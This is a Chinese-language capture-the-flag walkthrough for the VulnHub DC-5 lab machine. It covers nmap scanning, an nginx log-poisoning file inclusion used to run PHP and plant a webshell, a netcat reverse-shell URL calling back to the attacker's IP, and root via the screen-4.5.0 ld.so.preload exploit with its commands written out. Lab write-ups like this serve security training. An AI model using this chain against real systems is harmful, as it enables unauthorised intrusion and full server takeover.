vulnhub-DC:5靶机渗透记录
阅读原文时间:2021年08月03日阅读:1

在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub

导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)

利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24

探测到ip为192.168.200.16的靶机,开放了80端口和111端口

再用nmap对所有端口进行探测,确保没有别的遗漏信息  

还有一个46300端口

先访问80端口,打开网站用Wappalyzer插件查看发现是Nginx1.6.2框架

dirsearch扫描到thankyou.php文件访问发现发现下面的年份是会变化的,说明页面是动态的,猜测存在文件包含

首先先测试出文件包含的变量名,可以利用bp进行爆破,根据返回长度判断,这里就不演示了,爆破出来变量名是file

存在文件包含,读取一下日志文件,nginx默认日志文件路径为/var/log/nginx/access.log

可以看到我们刚刚的操作都给记录到日志文件中,这意味着我们可以随便输入恶意代码,利用日志文件来执行

先试试执行phpinfo()看看

虽然显示404但是我们的操作已经记录到日志文件中了,现在打开日志文件看看,拉到最下面,phpinfo()被成功执行!

写入一句话木马  然后用weevely连接,但是连接失败了,可能这个工具必须要用它生成的木马才能连接,但是他的木马太长了,没有办法使用。按道理来说使用蚁剑应该也可以连上,但是我采取了另一种方法

写入  执行系统命令

在终端使用nc进行监听 nc -lvp 9999

在访问这个,反弹shell

http://192.168.200.16/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.200.6 9999

使用python 通过pty.spawn()获得交互式shell

python -c'import pty;pty.spawn("/bin/bash")'

权限肯定是不够的接下来进行提权

首先查看一下root权限用户  

find / -perm -u=s -type f 2>/dev/null

这里看到一个/bin/screen-4.5.0,查找一下screen-4.5.0的漏洞

发现有权限提升漏洞

打开sh文件查看 vi /usr/share/exploitdb/exploits/linux/local/41154.sh

看内容应该是两段代码,创建新的文件,放入tmp文件夹,分别编译一下

gcc -fPIC -shared -ldl -o tmp/libhax.so tmp/libhax.c  

gcc -o tmp/rootshell tmp/rootshell.c

然后在靶机使用scp远程下载kali编译好的文件

scp root@192.168.200.6:/root/tmp/libhax.so /tmp/

scp root@192.168.200.6:/root/tmp/rootshell /tmp/

如果kali没有开启ssh服务参考以下文章kali使用ssh进行登录_csdnmmd的博客-CSDN博客_kali ssh连接

文件上传好了之后查看刚刚的漏洞使用方法进行提权

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering…"
screen -ls # screen itself is setuid, so…
/tmp/rootshell
~

获得root权限,过关

DC5-靶机_Au-CSDN博客_dc5靶机

DC-5靶机 - bingtanghulu - 博客园 (cnblogs.com)

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器